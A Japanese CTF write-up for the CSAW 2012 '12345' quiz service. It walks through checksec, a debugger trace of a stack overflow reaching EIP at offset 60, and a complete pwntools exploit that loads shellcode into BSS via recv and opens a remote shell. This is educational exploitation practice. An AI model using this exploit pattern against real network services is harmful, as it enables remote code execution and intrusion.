pwnlist baby 12345
下調べ
mattun-mart@4ctf:~/pwn/baby/12345$ file 12345 | sed -e "s/,/\n/g" 12345: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=09a2a7c2ebaff247534af024496e08f31212a6be not stripped
mattun-mart@4ctf:~/pwn/baby/12345$ checksec.sh --file 12345 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH 12345
ubuntu14.04 64bitで動かしてます.
NX,SSPなどが無効.
解析
実行ファイルを起動するとポート12345で接続を待ち受けるのでncコマンドを使って接続.
接続するとクイズが始まる.
クイズに正解するとプログラムは終了し,間違えるともう一度解答することができる.
mattun-mart@4ctf:~/pwn/baby/12345$ nc localhost 12345 WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game Category: Movies **Answers can have spaces & case insensitive** WarGames: The launch code that Joshua "figures out" for himself at the end of the movie was ______ Answer: aaaa WRONG. Try again. Bye. That's too bad. Try one more time! Answer: aaa WRONG. Try again. Bye.
いろいろ入力して遊んでいると,再解答時に大量の文字列を送るとプログラムが終了する.
mattun-mart@4ctf:~/pwn/baby/12345$ nc localhost 12345 WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game Category: Movies **Answers can have spaces & case insensitive** WarGames: The computer that constantly plays wargames codenamed is _____ Answer: a WRONG. Try again. Bye. That's too bad. Try one more time! Answer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
デバッガで追っていくと,以下のようにEIPが入力で書き変わってしまっていることがわかる.
[----------------------------------registers-----------------------------------] EAX: 0xffffffff EBX: 0xf7fc3000 --> 0x1acda8 ECX: 0xf7e158fc --> 0x9 ('\t') EDX: 0xf7fc3000 --> 0x1acda8 ESI: 0xffffcd84 --> 0x4141 ('AA') EDI: 0xffffd184 --> 0x1 EBP: 0x41414141 ('AAAA') ESP: 0xffffcff0 ('A' <repeats 200 times>...) EIP: 0x41414141 ('AAAA') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] 0000| 0xffffcff0 ('A' <repeats 200 times>...) 0004| 0xffffcff4 ('A' <repeats 200 times>...) 0008| 0xffffcff8 ('A' <repeats 200 times>...) 0012| 0xffffcffc ('A' <repeats 200 times>...) 0016| 0xffffd000 ('A' <repeats 200 times>...) 0020| 0xffffd004 ('A' <repeats 200 times>...) 0024| 0xffffd008 ('A' <repeats 200 times>...) 0028| 0xffffd00c ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414141 in ?? ()
なぜEIPが書き変わってしまったかというと次の命令が原因.
EDI(0xffffcfb0)に入力した内容をコピーしているのだが,このアドレスの下にEBP(0xffffcfe8)が存在するため,文字数が多いとEBPを書き換えてしまう.
[----------------------------------registers-----------------------------------] EAX: 0xffffcfb0 --> 0xf7fc3c20 --> 0xfbad2088 EBX: 0xf7fc3000 --> 0x1acda8 ECX: 0x84 EDX: 0xf7fc3000 --> 0x1acda8 ESI: 0xffffcbb0 ('A' <repeats 200 times>...) EDI: 0xffffcfb0 --> 0xf7fc3c20 --> 0xfbad2088 EBP: 0xffffcfe8 --> 0xffffd008 --> 0xffffd0f8 --> 0xffffd108 --> 0x0 ESP: 0xffffcb20 --> 0xffffcbb0 ('A' <repeats 200 times>...) EIP: 0x8048e07 (<q_generate+272>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]) EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048e00 <q_generate+265>: mov esi,eax 0x8048e02 <q_generate+267>: lea eax,[ebp-0x38] 0x8048e05 <q_generate+270>: mov edi,eax => 0x8048e07 <q_generate+272>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 0x8048e09 <q_generate+274>: lea eax,[ebp-0x38] 0x8048e0c <q_generate+277>: mov DWORD PTR [esp],eax 0x8048e0f <q_generate+280>: call 0x8048b6e <v> 0x8048e14 <q_generate+285>: mov DWORD PTR [ebp-0xc],eax [------------------------------------stack-------------------------------------] 0000| 0xffffcb20 --> 0xffffcbb0 ('A' <repeats 200 times>...) 0004| 0xffffcb24 --> 0x213 0008| 0xffffcb28 --> 0x400 0012| 0xffffcb2c --> 0x0 0016| 0xffffcb30 --> 0x0 0020| 0xffffcb34 --> 0x61 ('a') 0024| 0xffffcb38 --> 0xd78 ('x\r') 0028| 0xffffcb3c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048e07 in q_generate ()
二つのアドレスの差は56なので,60文字以降の入力でリターンアドレスを書き換えられることになる.
これで,自由にEIPを操作できるようになった.
Exploit
NXが無効なので,BSS領域シェルコードを積んでそこに飛んでやることにする.
BSS領域への書き込みはrecv関数を利用する.
以下Exploitコード.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct host = 'localhost' port = 12345 conn = remote(host, port) bss_addr = 0x804b0a0 elf = ELF('./12345') recv_addr= elf.plt['recv'] shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) payload = "A" * 60 payload += p32(recv_addr) payload += p32(bss_addr) payload += p32(4) payload += p32(bss_addr) payload += p32(len(shellcode)) payload += p32(0) conn.recv() conn.send("\n") conn.recv() conn.send(payload) conn.send(shellcode) conn.interactive()
結果
mattun-mart@4ctf:~/pwn/baby/12345$ python exploit.py [+] Opening connection to localhost on port 12345: Done [*] '/home/mattun-mart/pwn/baby/12345/12345' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] Switching to interactive mode $ ls 12345 dump exploit.py peda-session-12345.txt